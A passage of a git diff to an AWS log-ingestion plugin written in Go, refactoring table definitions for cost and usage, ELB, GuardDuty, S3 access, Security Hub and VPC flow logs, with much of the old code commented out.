utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), } - return opts -} - -// GetRowSchema implements table.Table -func (c *CostAndUsageLogTable) GetRowSchema() types.RowStruct { - return rows.CostAndUsageLog{} -} - -func (c *CostAndUsageLogTable) GetConfigSchema() parse.Config { - return &CostAndUsageLogTableConfig{} + return []*table.SourceMetadata[*rows.CostAndUsageLog]{ + { + // any artifact source + SourceName: constants.ArtifactSourceIdentifier, + MapperFunc: mappers.NewCostAndUsageMapper, + Options: []row_source.RowSourceOption{ + artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), + artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()}, + }, + } } // EnrichRow implements table.Table -func (c *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CostAndUsageLog, error) { +func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CostAndUsageLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 7470e8ce..efe7da71 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -1,90 +1,73 @@ package tables -import ( - "context" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewElbAccessLogTable) -} - -const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` - -type ElbAccessLogTable struct { - table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] -} - -func NewElbAccessLogTable() table.Enricher[*rows.ElbAccessLog] { - return &ElbAccessLogTable{} -} - -func (c *ElbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *ElbAccessLogTable) initMapper() { - // todo switch on source - c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) -} - -func (c *ElbAccessLogTable) Identifier() string { - return "aws_elb_access_log" -} - -func (c *ElbAccessLogTable) GetRowSchema() types.RowStruct { - return &rows.ElbAccessLog{} -} - -func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { - return &ElbAccessLogTableConfig{} -} - -func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - return []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - } -} - -func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { - // TODO: #validate ensure we have a timestamp field - - // add any source enrichment fields - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - row.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? - - // Hive Fields - row.TpPartition = c.Identifier() - if row.TpIndex == "" { - row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) - } - - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - return row, nil -} +// +//// register the table from the package init function +//func init() { +// table.RegisterTable[*ElbAccessLogTable]() +//} +// +//const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` +//const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` +// +//type ElbAccessLogTable struct { +// table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] +//} +// +// +//func (c *ElbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// // call base init +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// +// c.initMapper() +// return nil +//} +// +//func (c *ElbAccessLogTable) initMapper() { +// // todo switch on source +// c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) +//} +// +//func (c *ElbAccessLogTable) Identifier() string { +// return "aws_elb_access_log" +//} +// +//func (c *ElbAccessLogTable) GetRowSchema() types.RowStruct { +// return &rows.ElbAccessLog{} +//} +// +//func (c *ElbAccessLogTable) GetConfigSchema() parse.Config { +// return &ElbAccessLogTableConfig{} +//} +// +//func (c *ElbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// return []row_source.RowSourceOption{ +// artifact_source.WithRowPerLine(), +// } +//} +// +//func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { +// // TODO: #validate ensure we have a timestamp field +// +// // add any source enrichment fields +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// +// // Record standardization +// row.TpID = xid.New().String() +// row.TpIngestTimestamp = time.Now() +// row.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? +// +// // Hive Fields +// row.TpPartition = c.Identifier() +// if row.TpIndex == "" { +// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) +// } +// +// // convert to date in format yy-mm-dd +// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) +// +// return row, nil +//} diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 26e20ce0..f154cdcf 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -1,90 +1,88 @@ package tables -import ( - "context" - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewGuardDutyFindingTable) -} - -// GuardDutyFindingTable - table for GuardDuty Findings -type GuardDutyFindingTable struct { - table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] -} - -func NewGuardDutyFindingTable() table.Enricher[*rows.GuardDutyFinding] { - return &GuardDutyFindingTable{} -} - -func (c *GuardDutyFindingTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - c.initMapper() - return nil -} - -func (c *GuardDutyFindingTable) initMapper() { - c.Mapper = mappers.NewGuardDutyMapper() -} - -func (c *GuardDutyFindingTable) Identifier() string { - return "aws_guardduty_finding" -} - -func (c *GuardDutyFindingTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts []row_source.RowSourceOption - switch sourceType { - case artifact_source.AwsS3BucketSourceIdentifier: - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - FileLayout: utils.ToStringPointer("AWSLogs/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), - } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) - } - return opts -} - -func (c *GuardDutyFindingTable) GetRowSchema() types.RowStruct { - return rows.GuardDutyFinding{} -} - -func (c *GuardDutyFindingTable) GetConfigSchema() parse.Config { - return &GuardDutyFindingTableConfig{} -} - -func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - row.TpID = xid.New().String() - row.TpSourceType = "aws_guardduty_finding" - row.TpTimestamp = row.CreatedAt - row.TpIngestTimestamp = time.Now() - - if row.IpAddressV4 != nil { - if row.IpAddressV4 != nil { - row.TpIps = append(row.TpIps, *row.IpAddressV4) - } - } - - row.TpIndex = *row.AccountId - row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) - - return row, nil -} +//import ( +// "github.com/rs/xid" +// "github.com/turbot/pipe-fittings/utils" +// "github.com/turbot/tailpipe-plugin-aws/config" +// "github.com/turbot/tailpipe-plugin-aws/mappers" +// "github.com/turbot/tailpipe-plugin-aws/rows" +// "github.com/turbot/tailpipe-plugin-sdk/artifact_source" +// "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" +// "github.com/turbot/tailpipe-plugin-sdk/enrichment" +// "github.com/turbot/tailpipe-plugin-sdk/parse" +// "github.com/turbot/tailpipe-plugin-sdk/row_source" +// "github.com/turbot/tailpipe-plugin-sdk/table" +// "github.com/turbot/tailpipe-plugin-sdk/types" +// "time" +//) +// +//// register the table from the package init function +//func init() { +// table.RegisterTable(NewGuardDutyFindingTable) +//} +// +//// GuardDutyFindingTable - table for GuardDuty Findings +//type GuardDutyFindingTable struct { +// table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] +//} +// +//func NewGuardDutyFindingTable() table.Table[*rows.GuardDutyFinding] { +// return &GuardDutyFindingTable{} +//} +// +//func (c *GuardDutyFindingTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// c.initMapper() +// return nil +//} +// +//func (c *GuardDutyFindingTable) initMapper() { +// c.Mapper = mappers.NewGuardDutyMapper() +//} +// +//func (c *GuardDutyFindingTable) Identifier() string { +// return "aws_guardduty_finding" +//} +// +//func (c *GuardDutyFindingTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// var opts []row_source.RowSourceOption +// switch sourceType { +// case artifact_source.AwsS3BucketSourceIdentifier: +// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ +// FileLayout: utils.ToStringPointer("AWSLogs/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), +// } +// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) +// } +// return opts +//} +// +//func (c *GuardDutyFindingTable) GetRowSchema() types.RowStruct { +// return rows.GuardDutyFinding{} +//} +// +//func (c *GuardDutyFindingTable) GetConfigSchema() parse.Config { +// return &GuardDutyFindingTableConfig{} +//} +// +//func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// row.TpID = xid.New().String() +// row.TpSourceType = "aws_guardduty_finding" +// row.TpTimestamp = row.CreatedAt +// row.TpIngestTimestamp = time.Now() +// +// if row.IpAddressV4 != nil { +// if row.IpAddressV4 != nil { +// row.TpIps = append(row.TpIps, *row.IpAddressV4) +// } +// } +// +// row.TpIndex = *row.AccountId +// row.TpDate = row.CreatedAt.Truncate(24 * time.Hour) +// +// return row, nil +//} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 0acaa313..19414fe7 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -1,89 +1,75 @@ package tables -import ( - "context" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewS3ServerAccessLogTable) -} - -const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` -const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` - -type S3ServerAccessLogTable struct { - table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] -} - -func NewS3ServerAccessLogTable() table.Enricher[*rows.S3ServerAccessLog] { - return &S3ServerAccessLogTable{} -} - -func (c *S3ServerAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *S3ServerAccessLogTable) initMapper() { - // TODO switch on source - c.Mapper = table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) -} - -func (c *S3ServerAccessLogTable) Identifier() string { - return "aws_s3_server_access_log" -} - -func (c *S3ServerAccessLogTable) GetRowSchema() types.RowStruct { - return rows.NewS3ServerAccessLog() -} - -func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { - return &S3ServerAccessLogTableConfig{} -} - -func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - return []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - } -} - -func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { - // TODO: #validate ensure we have a timestamp field - - // add any source enrichment fields - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - row.TpSourceType = "aws.s3_server_access_log" - - // Hive Fields - row.TpPartition = c.Identifier() - if row.TpIndex == "" { - row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) - } - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - return row, nil -} +// +//// register the table from the package init function +//func init() { +// table.RegisterTable(NewS3ServerAccessLogTable) +//} +// +//const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` +//const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` +// +//type S3ServerAccessLogTable struct { +// table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] +//} +// +//func NewS3ServerAccessLogTable() table.Table[*rows.S3ServerAccessLog] { +// return &S3ServerAccessLogTable{} +//} +// +//func (c *S3ServerAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// // call base init +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// +// c.initMapper() +// return nil +//} +// +//func (c *S3ServerAccessLogTable) initMapper() { +// // TODO switch on source +// c.Mapper = table.NewDelimitedLineMapper(rows.NewS3ServerAccessLog, s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced) +//} +// +//func (c *S3ServerAccessLogTable) Identifier() string { +// return "aws_s3_server_access_log" +//} +// +//func (c *S3ServerAccessLogTable) GetRowSchema() types.RowStruct { +// return rows.NewS3ServerAccessLog() +//} +// +//func (c *S3ServerAccessLogTable) GetConfigSchema() parse.Config { +// return &S3ServerAccessLogTableConfig{} +//} +// +//func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// return []row_source.RowSourceOption{ +// artifact_source.WithRowPerLine(), +// } +//} +// +//func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { +// // TODO: #validate ensure we have a timestamp field +// +// // add any source enrichment fields +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// +// // Record standardization +// row.TpID = xid.New().String() +// row.TpIngestTimestamp = time.Now() +// row.TpSourceType = "aws.s3_server_access_log" +// +// // Hive Fields +// row.TpPartition = c.Identifier() +// if row.TpIndex == "" { +// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) +// } +// // convert to date in format yy-mm-dd +// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) +// +// return row, nil +//} diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index ac2aa66a..7b63655a 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -1,95 +1,80 @@ package tables -import ( - "context" - - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewSecurityHubFindingLogTable) -} - -type SecurityHubFindingLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] -} - -func NewSecurityHubFindingLogTable() table.Enricher[*rows.SecurityHubFindingLog] { - return &SecurityHubFindingLogTable{} -} - -func (c *SecurityHubFindingLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *SecurityHubFindingLogTable) Identifier() string { - return "aws_securityhub_finding_log" -} - -func (c *SecurityHubFindingLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts []row_source.RowSourceOption - - switch sourceType { - case artifact_source.AwsS3BucketSourceIdentifier: - // the default file layout for SecurityHub finding logs in S3 - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - // TODO #config finalise default cloudtrail file layout - FileLayout: utils.ToStringPointer("security_hub_findings_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})"), - } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) - } - - return opts -} - -func (c *SecurityHubFindingLogTable) initMapper() { - // TODO switch on source - c.Mapper = mappers.NewSecurityHubFindingsMapper() -} - -func (c *SecurityHubFindingLogTable) GetRowSchema() types.RowStruct { - return &rows.SecurityHubFindingLog{} -} - -func (c *SecurityHubFindingLogTable) GetConfigSchema() parse.Config { - return &SecurityHubFindingLogTableConfig{} -} - -func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - - for _, resource := range row.Resources { - newAkas := awsAkasFromArn(*resource) - row.TpAkas = append(row.TpAkas, newAkas...) - } - - row.TpSourceType = "aws_securityhub_finding_log" - if row.Time != nil { - row.TpTimestamp = *row.Time - } - if row.Account != nil { - row.TpIndex = *row.Account - } - - return row, nil -} +// +//// register the table from the package init function +//func init() { +// table.RegisterTable(NewSecurityHubFindingLogTable) +//} +// +//type SecurityHubFindingLogTable struct { +// // all tables must embed table.TableImpl +// table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] +//} +// +//func NewSecurityHubFindingLogTable() table.Table[*rows.SecurityHubFindingLog] { +// return &SecurityHubFindingLogTable{} +//} +// +//func (c *SecurityHubFindingLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// // call base init +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// +// c.initMapper() +// return nil +//} +// +//func (c *SecurityHubFindingLogTable) Identifier() string { +// return "aws_securityhub_finding_log" +//} +// +//func (c *SecurityHubFindingLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// var opts []row_source.RowSourceOption +// +// switch sourceType { +// case artifact_source.AwsS3BucketSourceIdentifier: +// // the default file layout for SecurityHub logs in S3 +// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ +// // TODO #config finalise default cloudtrail file layout +// FileLayout: utils.ToStringPointer("security_hub_findings_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})"), +// } +// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) +// } +// +// return opts +//} +// +//func (c *SecurityHubFindingLogTable) initMapper() { +// // TODO switch on source +// c.Mapper = mappers.NewSecurityHubFindingsMapper() +//} +// +//func (c *SecurityHubFindingLogTable) GetRowSchema() types.RowStruct { +// return &rows.SecurityHubFindingLog{} +//} +// +//func (c *SecurityHubFindingLogTable) GetConfigSchema() parse.Config { +// return &SecurityHubFindingLogTableConfig{} +//} +// +//func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// +// for _, resource := range row.Resources { +// newAkas := awsAkasFromArn(*resource) +// row.TpAkas = append(row.TpAkas, newAkas...) +// } +// +// row.TpSourceType = "aws_securityhub_finding_log" +// if row.Time != nil { +// row.TpTimestamp = *row.Time +// } +// if row.Account != nil { +// row.TpIndex = *row.Account +// } +// +// return row, nil +//} diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 4e084c9d..74b5eb9f 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -1,117 +1,104 @@ package tables -import ( - "context" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewVPCFlowLogLogTable) -} - -// VPCFlowLogLogTable - table for VPC Flow Logs -type VPCFlowLogLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] -} - -func NewVPCFlowLogLogTable() table.Enricher[*rows.VpcFlowLog] { - return &VPCFlowLogLogTable{} -} - -func (c *VPCFlowLogLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *VPCFlowLogLogTable) initMapper() { - // TODO switch on source - c.Mapper = mappers.NewVpcFlowlogMapper(c.Config.Fields) -} - -// Identifier implements table.Table -func (c *VPCFlowLogLogTable) Identifier() string { - return "aws_vpc_flow_log" -} - -// GetRowSchema implements table.Table -// return an instance of the row struct -func (c *VPCFlowLogLogTable) GetRowSchema() types.RowStruct { - return rows.VpcFlowLog{} -} - -func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { - return &VpcFlowLogTableConfig{} -} - -// EnrichRow implements table.Table -func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { - // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - - // Record standardization - row.TpID = xid.New().String() - - // TODO is source type actually the source, i.e compressed file source etc> - // should these all be filled in by the source??? - row.TpSourceType = c.Identifier() - //row.TpSourceName = ??? - //row.TpSourceLocation = ??? - row.TpIngestTimestamp = time.Now() - - // Hive fields - // TODO - should be based on the definition in HCL - row.TpPartition = "default" - if row.AccountID != nil { - row.TpIndex = *row.AccountID - } - - // populate the year, month, day from start time - if row.Timestamp != nil { - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) - row.TpTimestamp = *row.Timestamp - } else if row.Start != nil { - // convert to date in format yy-mm-dd - // TODO is Start unix millis?? if so why do we convert it for TpTimestamp - row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) - - //convert from unis seconds to milliseconds - row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) - } - - //row.TpAkas = ??? - //row.TpTags = ??? - //row.TpDomains = ??? - //row.TpEmails = ??? - //row.TpUsernames = ??? - - // ips - if row.SrcAddr != nil { - row.TpSourceIP = row.SrcAddr - row.TpIps = append(row.TpIps, *row.SrcAddr) - } - if row.DstAddr != nil { - row.TpDestinationIP = row.DstAddr - row.TpIps = append(row.TpIps, *row.DstAddr) - } - - return row, nil -} +// +//// register the table from the package init function +//func init() { +// table.RegisterTable(NewVPCFlowLogLogTable) +//} +// +//// VPCFlowLogLogTable - table for VPC Flow Logs +//type VPCFlowLogLogTable struct { +// // all tables must embed table.TableImpl +// table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] +//} +// +//func NewVPCFlowLogLogTable() table.Table[*rows.VpcFlowLog] { +// return &VPCFlowLogLogTable{} +//} +// +//func (c *VPCFlowLogLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// // call base init +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// +// c.initMapper() +// return nil +//} +// +//func (c *VPCFlowLogLogTable) initMapper() { +// // TODO switch on source +// c.Mapper = mappers.NewVpcFlowlogMapper(c.Config.Fields) +//} +// +//// Identifier implements table.Table +//func (c *VPCFlowLogLogTable) Identifier() string { +// return "aws_vpc_flow_log" +//} +// +//// GetRowSchema implements table.Table +//// return an instance of the row struct +//func (c *VPCFlowLogLogTable) GetRowSchema() types.RowStruct { +// return rows.VpcFlowLog{} +//} +// +//func (c *VPCFlowLogLogTable) GetConfigSchema() parse.Config { +// return 